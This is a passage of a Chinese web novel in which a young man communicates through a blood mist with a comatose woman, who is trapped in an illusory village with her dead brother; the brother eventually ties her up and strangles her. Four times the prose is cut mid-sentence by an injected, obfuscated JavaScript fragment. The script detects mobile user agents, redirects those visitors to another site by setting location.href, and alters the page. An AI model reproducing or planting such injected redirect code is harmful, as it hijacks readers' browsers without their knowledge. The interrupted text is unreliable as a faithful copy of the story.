“地震发生得其实很频繁,只是我们不关注罢了。”林秋馨说。 “现在全世界都不安全,天灾人祸每天都有,一场地震就没什么新鲜的了。” “是啊,咱们普通人过好自己的生活就行了。” “生命诚可贵嘛,天大地大活着最大,好好活着比赚多少钱都重要。” 开车的黎荔感觉自己又被阴阳了。 晏盛朗在搜索框输入“地震”。 确实如奶奶所说,关于地震的新闻几乎每天都有,不同地点不同震级。 遭遇灾害的人姓名面容不详,安然无恙的人也不会关注这些。 他关上手机,闭上眼睛。 好。 那就当这一切都是巧合。 等等…… 地震几乎每天都在发生? 他睁开眼,加上日期后再次输入这两个字。 结果显示,前天傍晚西南方某个小城市发生2.8级地震,因震源处偏远,无人员伤亡。 这条新闻点击量只有个位数。一场无人在意的灾害。 晏盛朗克制着心慌,在社交软件上搜索岑旭湖中刀时的视频,在繁多的新闻报道里,他找到了一条当时现场围观者的直播微博,评论区的留言都是看直播时实时发出的。 看着那些留言的时间,岑旭湖的那声“地震”又在耳边响起。 真的会是巧合吗? 一场天灾,一场人祸。 时间竟然分毫不差。 * 深夜。 一片漆黑之中。 晏盛朗从噩梦中猛地睁开眼,头上的冷汗洇湿了枕头,他坐起身急促地呼吸,从梦中的一片血色中努力平复下来。 有人掉进湖里了。 是岑旭湖。 不知道是不是因为白天才在医院里见过她,他这次在梦里清晰地看到了岑旭湖的脸。 梦里她毫不犹豫地跳了下去,原本深蓝色的湖水很快变成了血红色。 在她消失的地方,有很多扭曲变形的人影浮现出来,搅动着本来就不平静的湖水。 掌心疼得厉害,他没有管,真实的疼痛比虚妄的恐怖更好忍受。 过了一会儿,晏盛朗打开灯。 缠绕在左手掌心的纱布被鲜血浸透了,他抬起疼到颤抖的手,一圈圈解开纱布。 纱布之下,鲜血淋漓,缝合好的刀伤不知道为什么裂开了。伤口像一道鲜血淋漓的掌纹,在他掌心蔓延扩大。 淡淡的血红雾气从他掌心漂浮起来,慢慢扩大。 【?】 不是他脑子里的问号。 是眼前。那团血雾之中。 真真切切出现了一个问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055759|149200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号。 “救命……”晏盛朗感觉自己快疯了。 他抬起右手颤巍巍地摸向那个问号,手指只感受到了一层凉意,什么也摸不到。 问号闪动了两下,消失在血雾中。 很快,一个小小的点再次出现,一横,一竖,越来越多的笔画在血雾中汇聚起来,形成了一个不太工整勉强可辨认的字。 【谁?】 晏盛朗从床上跳下来,他想去死。 呆呆地看了一会儿血雾中浮动的红色大字,他再次伸手去摸向那个字。 大字似乎能感受到他的触碰,再次闪动了一下,在字的前面又慢慢出现两个字。 【你是谁?】 “我我我我……”他吓到结巴,整个人猛地后退了一下,颤抖着声音,“我是晏盛朗。” “你是人是鬼?为什么要来找我?晏晏晏晏盛朗是我,你听得到吗?咳咳咳咳。” 晏盛朗已经退到了窗户边,他越说越害怕,反而把自己呛到了。 咳了好一会儿,眼前的三个字还存在着。 似乎并没有听到他的回答。 晏盛朗狠狠掐了自己一下,嘶,很疼。不是做梦,他现在是清醒的。 他靠着冰凉的墙壁,逼自己冷静下来,最近发生在他身上的怪事和奇怪的梦境全部都和一个人有关,岑旭湖。 可是他白天时亲眼看到岑旭湖躺在病床上,也亲耳听到医生说她最多只能再坚持半个月。 他不知道怎么解释梦里梦外发生的事情。 也许眼前的血雾,能帮他解惑。 虽然极度害怕,他还是试探着将手伸进血雾里,在虚空中划下一竖。 血雾没什么反应。 血雾里的三个字也没有变化。 他想了想,划破右手食指指尖,借着流出的鲜血再次探进血雾中。 一种神奇的触感立刻包裹住了他的指尖。 好像是探进了一片水中,他移动手指,似乎能感受到水流滑动的清凉。 晏盛朗的大脑已经无法思考了。 他凭借本能写下了自己的名字。 过了一会儿,血雾中慢慢出现新的字体,他跟着念出来。 “不……认……识?” 【不认识】 晏盛朗害怕到了极点,反而笑出了声。 他一屁股坐到地上,对血雾中人鬼不知的生物很疑惑,“你不认识我就来吓我?没事吧你。” 他写——你是谁? “岑……” 晏盛朗看清第一个字后就已经知道了。 【岑旭湖】 血雾里和他交流的是岑旭湖。 晏盛朗瘫坐在地上,觉得这个世界是疯了。他更是疯的彻底。 他原地调转了个方向,跪在地上伸手拉开窗帘,面对窗外天空上高悬的月亮双手合十拜了拜。 虽然从前没有相信过,但是如果这一刻有奇迹发生,他愿意从此皈依玄学。 阿弥陀佛,我佛慈悲。 他闭上眼虔诚地对月祷告:佛祖保佑菩萨显灵,我看到的都是幻觉,睁开眼就会全部消失。 睁开眼,月光皎洁笼罩大地。 他回头,三个鲜红大字依然在空中挂着。 晏盛朗唰地拉上了窗帘。 他起身面对血雾,伸手进去。 ——你死了 想了想,又在后面补了个问号。 【还活着】 ——你在医院吗? 等待了一会儿,新的文字才出现。 【我怎么了?】 晏盛朗愣住,她自己不清楚她的情况吗? 好像是感受到了他的疑惑,血雾里多出了几个字。 【医院里的我怎么了?】 ——快死了 想了想,晏盛朗也补充了几个字。 ——最多能撑半个月 【刀伤?】 岑旭湖好像真的什么也不知道。她的反应和去医院前的晏盛朗一模一样。 ——脑部病变 血雾里的红字消失了。 晏盛朗等了很久才出现新字。 【我不会死的】 红色闪动了两下,很快出现了五个字。 【请你帮帮我】 不知道为什么,在看到这五个字的瞬间,晏盛朗所有的恐惧烟消云散。 虽然看不到,但他竟然神奇地感受到了岑旭湖的笃定。 她说不会那就肯定不会。 莫名的,晏盛朗相信了她的话。 他想起了自己前两晚循环的梦。 梦里的岑旭湖坚持到了末日的最后。 她看起来单薄纤细,但在废墟里一步步向前走时,却是坚定的。 梦里梦外似乎连接到了一起。 ——好。 10. 清醒沦陷 ——我要怎么帮你? 深夜的小河边。 岑旭湖不知道怎么回答那个叫晏盛朗的人的问题。 她现在唯一能确定的就是,此刻自己置身的这个世界是假的,是一个单薄拙劣的仿制品,到处都是漏洞。 冷静下来想想,倒塌的老房子不可能完好如初地伫立在大地上,死人也不可能复活。 这里的一切都是假的。 晏盛朗说她最多只能再坚持半个月。 她必须在半个月之内离开,回到她原来的世界里去。 岑旭湖捡起地面上的树枝,手指轻轻按在上面的尖刺上。 她还想再问问晏盛朗自己的情况。 血雾浮现起来,却直接飘到了小河上方。 之前见到的可怖画面再次出现,燃烧的火焰里是她自己挣扎的身躯,上次没看完的那句话变成了新的文字。 ——【不破不立,不死不生】 像在参禅。 岑旭湖没看明白。 如果是给她的提示,就不能说明白点吗?她阅读理解真的很差啊。 不过这个血雾为什么要一遍遍向她传递信息? 它到底想要传递什么。 岑旭湖将四次文字信息列在一起,思考其中的关联。 【找到你了——镜湖心亭——别怕我们是你——不破不立不死不生】 第一句,她就当作是来自血雾的问候,这句话开启了接下来所有诡异的事情; 第二句,在血雾里,镜湖心亭是无数个岑旭湖跳下去的地方,她们跳下去之后,进入了很多个末日碎片,每一个碎片都是不同的灾难,最终以万物死亡作为结局; 这是否意味着,镜湖心亭是灾难的开端呢? 第三句,她原以为没显示完,就被不知道什么时候赶到的弟弟打断了。可是刚刚血雾里的景象顺承了之前的画面,却没有继续显示这句话,而是换成了新的。 那么就当它是一句完整的话。 它让她别怕。所以血雾和血雾里显现的东西并不会伤害她,而是想要帮助她。 “我们是你”,这却像是一句废话,她当然看得出画面里都是自己。 她转向眼前的第四句话。 ——打破后才能重塑,死亡后便能新生。 这样理解应该没错吧,她的水平就到这了。 如果是这样的话,要打破什么,又要让什么死亡? 她自己吗。 岑旭湖想到了镜湖心亭,那里是灾难的开端,会不会也是新生的起点呢? 她想活着离开这个诡异世界,或许镜湖心亭才是关键。 小河上方的血雾里再没有出现新的画面,她慢慢往家走。 拂晓晨光渐亮,她在外面已经呆了一整晚。 黎明的空气里掺杂着凉意,灰蓝色的天幕下,微风吹过地上随意生长的野花。 这片花开得极好,深红浅粉团团簇簇,明黄色的花蕊藏在其中,像被精心呵护着的小太阳。 岑旭湖想起小时候,每次出门她都会摘一束野花带回家。 这些小花生命力强,随风便能生长,石缝里也能开出鲜艳的色彩,但它们也脆弱,路过的野猫野狗踩上两脚,花瓣就零落在地面,揉进了泥土大地里。 她负责摘花回家,弟弟就负责给花浇水,两个人用捡来的饮料瓶子养活了一排花,将它们摆在家里的院墙下面,阳光一照,像是给土墙围了一层鲜艳的花边。 记忆里的野花朵朵娇小,开的不如眼前这样鲜艳繁茂。 岑旭湖蹲下来拨弄着花杆,发现下面的土壤与别处的不太一样,她伸手按了下地面,将土壤扒开一层,看到下面埋了许多杂草与落叶。除开浅层还完好的草叶,再下面的泥土微微潮湿,里面掺杂着已经腐烂的草叶。 这里没有第三个人。 是弟弟在精心呵护着它们。 他记得和岑旭湖之间的一切。 岑旭湖将被扒开的土壤合上,站在花丛边有些恍惚。 她告诉自己这个世界是假的。 可是弟弟真的是假的吗? 除了他的自我认知还停留在六岁,偶尔说些奇怪的话,他和记忆里的人一模一样。 甚至比真实的弟弟更加完美。 他记得两个人之间所有的事情,努力讨好她,在她不会在意的细枝末节里,他像呵护这些花一样呵护着这个虚假的世界。 如果她离开了,弟弟会继续一个人守在这荒寂的山村吗? 岑旭湖忽然有些犹豫了。 他是她的弟弟。 更是她的心结。 这么多年她无时无刻不在想着他,午夜梦回时他总还像从前那样对她笑,陪她玩。 偶尔梦中他会躺在老房子的废墟里哭喊着对她说快跑,醒来后岑旭湖汗湿衣背,她不知道自己该跑去哪儿。那时候她就想,如果弟弟还活着就好了。 现在弟弟真的活过来了。 她却在想怎么逃离他,岑旭湖觉得自己就像是好龙的叶公,是个心口不一的假面人。 不知不觉,她已经走回了家。 厨房的锁被她拆下来挂在了大门上,刚打开门,饭菜的香气就飘了出来。 弟弟在厨房里忙得热火朝天,小脸都被烟火熏出了一层汗。 听见开锁的声音,他扬起笑脸对外面喊道,“姐姐你回来啦!等一下哦,饭马上就好了。” 岑旭湖若无其事地挂上门锁,走进厨房,“天都还没亮,你怎么起这么早?” “姐姐不在,我睡不着。” 他像个小陀螺一样在厨房里转来转去,掀开有他三四个脑袋那么大的锅盖,里面竟然是一屉精致小巧的包子。 岑旭湖惊讶得不行,除开锅里的包子,锅里还煮着小粥,旁边的菜罩下面摆着三盘炒菜。 这规模俨然赶得上早餐店了。 要做好这么一桌饭菜,这孩子应该是从她出门就起床了,忙活了一晚上。 岑旭湖心里有点难受,弟弟太在乎她了,几乎是拼了命在讨好她。 这让她不知道要怎么开口说离开。 “别忙了,我们两个人怎么吃得了这么多东西。”岑旭湖赶紧给他擦汗,和他一起把饭菜端到桌子上午。 早餐桌上,弟弟看着她吃饭,笑得心满意足。 “姐姐,从今往后让我来养你吧。我不要你再照顾我,为我担心,我会好好长大,让你永远不会难过。” “为什么要说这些?”岑旭湖避开他亮晶晶的眼睛,有点心虚。 “我想让在我身边的每一天都轻松快乐。”弟弟将窗台上的花移到桌上,端起茶杯给小花浇水,清甜的花香随着花瓣的摇晃渐渐飘溢出来,和弟弟的笑一样明朗可爱。 “姐姐从前过得太辛苦了,只要有我在,我不会再让你受苦的。”他握着小拳头,一脸郑重地对着小花发誓。 岑旭湖被他逗笑了,拍了拍他的脑袋。 “你都从哪学来的这些话?” “不用学,我是真心的。”弟弟握住她的手,贴在自己胸口上,“陪着我吧,我会永远对姐姐好。” 岑旭湖赶紧把手拿开,她一手油呢。 “油都沾你衣服上了。” “没事儿。”弟弟笑眯眯地坐下。 “等下姐姐教我读书好吗?听说学习很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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弟弟聪明机灵,一点就通。 她教他乘法口诀表,没过多久他就信手拈来,一百以内的加减乘除只需要教一遍,他就能举一反三秒算秒答。 这孩子是个天才! 岑旭湖瞪大眼,要知道他可是从来都没有接触过数学的。 她试着增加难度,教他背古诗,没想到弟弟竟然只用重复一遍,就可以倒背如流。 想当年,她因为背这些东西时可是被岑老师打过手板心的。 因为怎么教她都记不住,教了又忘,颠三倒四,要不是数学学的好,岑老师还以为自己捡回来个智障呢。 这就是天赋吗?岑旭湖震惊了,那他要是活着…… “姐姐,我学的好吗?”弟弟显然有些骄傲,他看到了岑旭湖脸上的惊讶。 “当然,非常优秀!”这夸赞比夸饭菜好吃时真心多了。 “那你要一直教我,我还要学好多东西呢。” 岑旭湖顿了一下,“嗯。” 她想,要不晚点再离开吧。 晏盛朗说她最多能撑半个月,半个月时间以弟弟的学习速度,可以学会很多首古诗和很多道数学题。 虽然不知道在这个世界里,懂得这些有什么用。 但如果他那时候没有死,这些知识本来就应该是他拥有的。 对了,当初为了写好作文她死记硬背了许多名篇佳作,里面也有关于分离的内容,她可以慢慢地教给他。 这样到她真走的那天,也许他就不会难过了吧。 毕竟他的学习能力那么强。 弟弟开心地跑出小屋,终于找到理由留下姐姐了,他要再采一束新鲜的花来。 姐姐喜欢花,而他最喜欢姐姐,死也不会再离开她。 11. 破局关键 弟弟学完功课后,不知道从哪里找来了一截树苗,他在院子里刨了个坑,把小树苗仔仔细细地种进去。 “明年春天这棵树苗就会长高,夏天会长出许多叶子,秋天叶子会落,但第二年又会长得更高,就像我一样。” “那你怎么在这里九年都没有长高?”岑旭湖笑着逗他。 弟弟被噎了一下,他跑过来摇着岑旭湖的手臂撒娇。 “我想让你看着我,陪着我长高嘛。” 岑旭湖很想告诉他,她不是这里的人。 可面对着他时,这话总是说不出口。 她坐在阳光下看着弟弟给那棵小树苗浇水,一只白色的蝴蝶飞到树苗根部,缓缓扇动着翅膀。 弟弟浇水的动作没停,水流瞬间淹没了蝴蝶。 “欸。”岑旭湖赶紧走过去,蝴蝶身体已经被打湿了,一动不动躺在深褐色的泥土里,成了一片能被风轻易吹走的白纸。 “我没看到它!”弟弟捂住嘴巴一脸惊讶,“是我弄死它了吗?” “对。”岑旭湖把蝴蝶捡起来,看向弟弟,“你把它浇死了。” 她在旁边看得很清楚,蝴蝶飞过去的瞬间,弟弟特意转了浇水的方向,他是故意的。 弟弟抿了下嘴巴,从岑旭湖手中捏过已经死了的蝴蝶,将它抛到了小树底部,顺手翻了一铲子泥土盖上去。 “算了,小树正好需要肥料才能长高。”他笑嘻嘻地说。 岑旭湖有些愣神。 弟弟非常自然地对她撒谎了,可能连他自己都没反应过来他刚才惊讶的表情有多夸张,而他将蝴蝶丢在地上的动作又太过不在意,让她觉得眼前人忽然很陌生。 弟弟以前会这样吗? 记忆里他确实调皮,小时候家里没有太多玩具,院子里爬来一只小虫都被他视作宝贵的玩伴。她以为弟弟喜欢,有时候还会带他一起去田地里捉蚂蚱泥鳅玩,每次他都很开心。 后来那些小虫子怎么样了? 她努力回想,发现自己似乎从来没留意过这件事,它们自然地就消失不见了。 一两只小虫子的生命,她从来没当回事。 ——除了有一回。 岑旭湖顺着这个思路,忽然想起来一件事! 有一年,邻居李奶奶怒气冲冲地跑到她家,手里还牵着嗷嗷大哭的小孙子,非得要王家人给她个说法。 “我真是眼瞎,竟然被个小小毛孩子给骗了,你家小王八蛋真是一肚子坏水啊!” 王三虽然不知道发生了什么,但他看这架势就明白了,小孩子之间打闹惹事了呗。 他可不是个好惹的,眼一瞪胳膊一甩,“滚蛋!” “我滚蛋?今天你们不给我个说法,咱们这邻居也别做了。我把你儿子门牙也磕掉两颗,这事才算完!” 李奶奶是铁了心要给自己小孙子出口气,她嗓门大气势足,引得左邻右舍都跑出来围观。 王三压根不想知道小孩子之间的鸡毛蒜皮事。 但架不住围观人好奇,你一言我一语之间,李奶奶大怒的原因就已经清楚了。 原来是弟弟和李家小孙子一起爬树,弟弟竟然把人家小孙子从树上推下来了,门牙都磕掉了两颗。 “你们猜猜这小兔崽子干了什么,前天他跑过来给我哭哭啼啼,说是我孙子自己掉下去的,明明就是他推下去的,他骗人!” 王三有点烦了,面子上也挂不住。 他不问自己儿子,却反手给了岑旭湖一巴掌。 “怎么回事?” 岑旭湖捂着脸眼前一阵发黑,但她已经习惯了。 她把弟弟护在身后,指着李家孙子,“是他自己摔倒的。” 这事发生在两天前。 那天弟弟大哭着从外面跑回来,胳膊上流了好多血,脸上身上都脏兮兮的。 岑旭湖吓坏了,忙问发生了什么事。 弟弟说他和李家小孙子在树上捉小鸟,李家小孙子没站稳摔下去了,还拽着他也跌了一大跤。 弟弟害怕被骂,不让她告诉爸妈。岑旭湖更害怕被打骂,小心翼翼地给弟弟包扎好伤口,姐弟俩就把这事瞒过去了。 “才不是!!”人群里,门牙缺了两颗的李家小孙子哭得哇哇叫,“是他先把小鸟摔死的,我说要告诉妈妈,他就把我也推下去了!” “我没有!!”弟弟在岑旭湖身后,哭得比李家小孙子还大声,“你骗人你骗人你骗人!是你把我拽下来的。” 他拉开袖子,胳膊上老长一条血痂,还隐隐渗着血迹。 两个小孩比赛似的尖叫,都一把鼻涕一把眼泪地反驳对方。 王三一看儿子胳膊上的伤,当场翻脸,管你什么鸟不鸟牙不牙的,他儿子受伤了,这事就没完。 他转身进厨房拿了一把菜刀出来,噔噔噔几步逼到李家奶奶跟前。 “老不死的你想找事是不是,想讹老子钱啊!我告诉你,今天你敢动我儿子一下,我让你直接死在这!” 他是个精壮男人,梗起脖子不要命的架势相当吓人,李家奶奶站在他的阴影里像个小鸡仔似的,她心脏病差点没吓出来。 其他人一看他那样就知道动了真格了,谁都不敢再言语。 只有李家小孙子在一片静寂中“哇”地一声又哭了出来。 “奶奶,那个小王八蛋对我笑。”他指着岑旭湖身后。 岑旭湖回头,弟弟正哭得伤心呢。 王三把菜刀横到李家小孙子脖子上,“你其他门牙也不想要了是吧!” 李家奶奶抱着孙子就跑。 这事也没了下文。 后来岑旭湖又问了弟弟一次,弟弟笃定地说是李家小孙子冤枉他,他从来没有摔死过小鸟,也根本没有推过人。 她没有怀疑,弟弟不是那种会伤害无辜的坏小孩。 可是…… 李家奶奶也是村里公认的实诚人,平时为人很和善,对他们这些小孩子也很好。 她又为什么要撒谎呢? 那时候的岑旭湖没有想过这些。 可是现在,她忽然觉得自己一直以来似乎都忽略了什么。 她是否真的了解她的弟弟呢? “姐姐在想什么呢?” 弟弟浇完水,凑到她跟前托着下巴看她,大眼睛忽闪忽闪的,可爱得像个年画娃娃。 岑旭湖看着他,目光变柔和了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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弟弟的死改变了她的人生轨迹,也让她的大脑里永远为他保留了一个位置。 这个位置形成了这个世界。 弟弟在这个世界里自由生长。 这里确实不是真的。 它只是她的执念。 岑旭湖心念一动,她是被自己的执念困住了。 牵出这一连串思考的,是院子角落那棵小树苗,它已经被弟弟种进了土里,枝丫上单薄的叶片在风中摇曳。 岑旭湖看着小树,问道:“小树需要肥料才能长高,那么能够让你长高的‘肥料’是什么?” “是你呀姐姐。”弟弟毫不犹豫地回答。 他抱住岑旭湖,声音甜蜜,“是姐姐对我的爱。” 这次岑旭湖没有回抱住弟弟。 想清楚一切后,她觉得浑身发凉。 原来把她困在这里的,是她对弟弟的爱。 她想到了血雾给她的第四句提示,眼泪猝不及防落了下来。 【不破不立,不生不死】 她的阅读理解果然差劲。 原来这句话还可以有另一种解读—— 想要破局,就得先立局;想入生门,就得先入死门。 12. 当断不断 见岑旭湖半天没有回应,弟弟扬起头笑眯眯地看她,还捏了捏她的手掌。 “你不开心了吗?”他问。 岑旭湖心里一紧,对上弟弟明朗的笑容,“你知道我现在在想什么?” 弟弟撅着嘴巴摇头,“要是知道就好了。” “可你刚才说,你知道我的每个想法。” “那是以前,自从姐姐醒了之后,我就再也听不见姐姐心里的想法了。”弟弟语气里的不满很明显。 岑旭湖不知道为什么,这一刻心里松了一口气。 她不愿意让弟弟知道自己刚才的想法。 可是隐隐中又觉得矛盾,如果这个世界真的如她所推测那样,是她的执念造就的,那么这里的一切包括弟弟都只是她的想法。纵然那想法深刻到九年间始终如影随形,可终究也只是大脑中虚妄的东西。 她只是想要杀死自己的想法而已,为什么此刻心中会觉得歉疚? 弟弟靠在她身上,低下头抠着手指。 岑旭湖的头发落在他肩头,他像只小狗一样伸手去扑被风吹起的发丝。 可风似乎在捉弄他,轻飘飘的发丝顺着他的指尖飘走了,他抓了两次都无法攥在手心里。 弟弟没趣地低下头,声音闷闷的,“那姐姐刚才在想什么呀?” 岑旭湖不知道该怎么骗他,便自动忽略了‘刚才’二字。 此刻她想的是,得赶紧去验证下自己的推测。 “我,我在想,我想再看看你的画。” 弟弟挥开了飘在他脸颊的长发,抬头时已是笑容满面,他把手高高举起来。 “姐姐喜欢,那我可以再画新的,我会画的可多啦!” 岑旭湖把他的手拉下来,伸出两根手指按住弟弟上扬的嘴角,直到他疑惑地皱起眉头,嘴角耷拉下来,她才松开手。 她还是不习惯弟弟这样笑。 以前弟弟虽然也开朗活泼,与人说话总是仰起小脸笑得喜气洋洋,但那时候他的笑容是天真清澈的,不像此刻充满了讨好。 “好啊,那你现在就画吧。”岑旭湖站起来,避开弟弟的注视,“我出去走走。” 她说完就走,脚步匆匆生怕被弟弟跟上。 弟弟在她身后喊了声姐姐,小跑着跟到门外,却发现姐姐的身影已经走过了下一个街角。他在原地踌躇了一会儿,眼泪扑哒扑哒掉了下来,再看一眼外面,已经没有了姐姐的身影。 他转身关上大门,门锁撞击铁门“铛”一声嗡响,随即是小幅度的撞击声,声声和着他的心跳。门没锁,他怕姐姐没有带钥匙。 走回院中,家里又只剩下他一个人了。 一个人的时候,就算是大喊大叫也总觉得安静。 小石子扔进水里,还能溅起几圈涟漪,荡开一层层向外延伸扩散的水花。 可是声音喊出去,下一秒就会在空气中散开,他永远都听不到回响。 姐姐没醒过来时,她的思念总会昼夜不分地出现在耳边。 前三年,他每天最开心的事情就是守着姐姐思念的声音,听她心里的无助、痛苦和想念。她想他时,他就应和她,告诉姐姐自己一直都在呢,别伤心别难过了。 第四年,他开始生气了,甚至有点埋怨,既然她这么自责,为什么不来陪他!为什么要让他一个人在这荒无人烟的地方不死不灭,为什么他只能被动地接受她所有的负面情绪,却不能让她也听听自己的声音。 姐姐的声音再响起时,他就捂住耳边,不想听! 他变得沉默寡言,每天在这片土地上走来走去,四季更迭却没有变化,身边的一切都一遍遍重复着昨日,他开始讨厌这个世界了。 这里本该有四个人的,爸爸妈妈爱他,姐姐宠他,一家人热热闹闹地过日子,不是很好吗?姐姐也应该多想想爸妈,这样他就不会一个人在这里了。 他害怕这样的空寂。 第六年的时候,他发现那个坍塌的老房子竟然恢复原状了,看来姐姐真的很想让他活着,她思念的力量还真是强大。 忍着满心的恐惧,他用了差不多小半年时间才让自己踏进那座房子里。 房子没塌,牢固得很,只是里面几乎被砖石碎块堆满了,空气里荡起的灰尘和他去世那天一模一样,他伸手挥了又挥,那些灰尘始终存在。 他死而复生,房子坍塌后又立起。 姐姐耗费了太多精力在已经死去的他身上,这样下去,她会被自己的执念害死。 可是他却很开心,好啊,也许姐姐死了就能来到这里了,他巴不得有人来陪自己呢。 如果有一天姐姐真的来了,他一定要把姐姐留在这里,绝对绝对不能再自己一个人了。 他在这里活了九年,终于等到了姐姐。 姐姐来后,他虽然再也听不到姐姐的心声,可是他与她心念相连整整九年,她的想法他怎么可能不明白。 弟弟站在院中擦干眼泪,拿起墙角的铲子一下下敲在刚栽好的小树根部,他讨厌它! 姐姐就算想要离开又怎样,她注定要成为他生长的“肥料”,和他一起不死不休。 * “吱呀”一声,老房子破旧的大门被推开,灰尘在阳光下翻卷浮动,盈满整间屋子。 现实世界里,岑旭湖从来没有走进过这里,她只见到过屋外丛生的杂草,从地面一直蔓延到外墙上沿,长满裂纹的窗户透不出屋内的光景,整座房子都是阴暗破败的。 来到这个世界的当天,弟弟强行拉着她走进来,那时她全部的注意力都在铺满墙壁与地面的简笔画上,没来得及看清这间本该坍塌的屋子。 岑旭湖走进去,小心翼翼地避开弟弟的画,将这三间瓦屋走了一遍。 除了客厅里散落着两三把椅子和一张桌子外,其他两个房间空空荡荡,这里没有一丝人气儿。所以也就能一眼看清,这是三间再正常不过的屋子。 岑旭湖想了想,看向身边的墙。 墙上的画里记录着姐弟两人曾经朝夕相处的景象,每张画都紧紧贴在墙壁上,张张严丝合缝,没有露出一点墙面。 她伸手沿着纸张边缘去揭离自己最近的一幅画,只是贴的太紧,“歘”地撕下了一条纸,画被撕坏了,露出后面一块光滑的黑色。 指尖触上那块黑色,像镜面一样平整冰凉的触感,岑旭湖觉得自己好像摸到了一条蛇,她赶紧收回手,继续去揭下墙上其他的画。 弟弟把这些画贴的很牢固,她不想破坏画,但还是撕毁了不少。 岑旭湖已经顾不上这么多了。 等到后背都被汗沁湿,外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岑旭湖像小时候那样拍着他的肩头,他的体温熨热了她的掌心,连带着心里都是暖的,在老房子里感受到的恐惧被彻底驱散。 其实心里还是有不舍的…… 岑旭湖立刻止住念头,不能再纠结了! 当断不断反受其乱,她决定再过一两个小时,等弟弟熟睡之后,就出去召出血雾,看看有没有什么新的信息,或者能联系上晏盛朗也好。 这样想着,岑旭湖关上了灯,在夜色里静静等着时间过去。 等到窗外云层换了形状,猩红色的血色月光再次笼罩住这个世界,她轻轻移开弟弟搂住自己的胳膊,蹑手蹑脚地爬下床。 深夜依旧阒寂无声。 走到门边时,身后忽然传来声音。 “姐姐。”是弟弟在喊她。 岑旭湖回头,一道黑影猛地袭来,正中她的大脑。剧烈的疼痛在脑中炸开,眼前瞬间一片眩晕,她控制不住自己摔倒在地,一个身影蹲在她身前,撩开她盖住脸颊的头发。 她在铺天盖地的耳鸣声里听见弟弟充满疑惑的发问。 “姐姐,你还要再害死我一次吗?” 13. 一根钢钉 头痛伴随着声声嗡鸣在大脑中蔓延。 岑旭湖费力地睁开眼,却发现自己的眼睛被蒙住了,眼前一片漆黑,手脚也被牢牢绑住,丝毫动弹不得。 他竟然敢对我下手! 岑旭湖的心沉到了谷底。 昏迷前弟弟的发问还萦绕在耳边,原来他已经发现了自己的想法。 她挣扎了两下,不远处立刻传来脚步声。 弟弟跑过来,一边说着姐姐别动,一边替她摘下了眼部缠绕好几圈的布条。 她在一片眩光中看向弟弟,弟弟不慌不忙地将解下的布条缠绕在自己手腕上,坐在她对面的小板凳上,捧起脸看着她。 岑旭湖心情很复杂。 此刻弟弟面色不改,用着和之前一样乖巧的表情和她对视,好像什么事都没有发生。 在他小孩子的稚气皮囊之下,藏着无数她看不懂的心思。 一想到他顶着这样天真纯净的面容,不知道从什么时候开始却在心里计划着什么时候从背后给她一击,岑旭湖心里对弟弟的不舍就立刻烟消云散了。 他真的不是弟弟。 又或者,她从来没有真正了解过自己的弟弟。 “你想干什么?”她努力问得波澜不惊。 弟弟摇摇头,“只是想让你永远陪着我。” 岑旭湖笑了一下,“用这种方式?” 弟弟握着手腕上的黑色布条,他的表情看起来竟然很苦涩,“我还有别的办法吗。” 岑旭湖说:“你是假的你知道吗?” 弟弟忽地站起来,动作大到身后的小板凳都被带倒,他的表情瞬间凶狠,愤怒地看着岑旭湖。 “我不是!” “你是。” “我!不!是!”弟弟提高嗓门尖叫。 “这里一切都是假的,是我想出来的罢了,我要回到我的世界去。” 弟弟拉开抽屉从里面拿出胶带贴住岑旭湖的嘴巴。 “别说话了姐姐,我已经听你说了九年,现在轮到你听我说。” 看岑旭湖对他怒目而视,弟弟以防万一,又拿出了一大捆绳子,将岑旭湖从上到下捆的严严实实。 他重新坐回自己的小板凳上,一眨眼眼泪落下一串,他捂着脸呜呜哭了一会儿。 岑旭湖简直惊呆了,现在该哭的人是她吧。 哭完了,弟弟抬起头,双眼通红声音沙哑。 “姐姐,我不是假的,你怎么那么笨呐。” 他将板凳向前移,离她更近些。 “你说的没错,这里确实是你的念想,但我已经不是了。我在这里待了整整九年,就算是水滴在石头上,九年也会有点变化,更何况我是个人呢?我现在有血有肉,有自己的想法,早就不会被你的那些情绪干扰了。” 他站起来,一步步走近她,将手腕上缠好的布条又重新解下来。 岑旭湖不能说话,就用眼睛瞪着他,他现在的神态完全不像个六岁小孩子,眼神里透出的阴冷让她觉得可怕。 弟弟走到她身后,胳膊揽住她的脖子用力收紧手臂,岑旭湖越是挣扎,他的禁锢就越狠。 她努力仰起脖子想要给自己挣扎出一点空间,弟弟站在他头顶,另一只手死死摁住她的头顶。 岑旭湖的眼前逐渐渗出了血点,她感觉全身血液都被挤压进了大脑里,剧烈的窒息感让她努力想吞咽,脖子却被弟弟更紧地勒住。 他想让她死。 弟弟在她头顶正上方俯视,她仰头能清晰地看到他脸上抖动的肌肉,可能是刚哭过,他的眼底竟然也一片殷红。 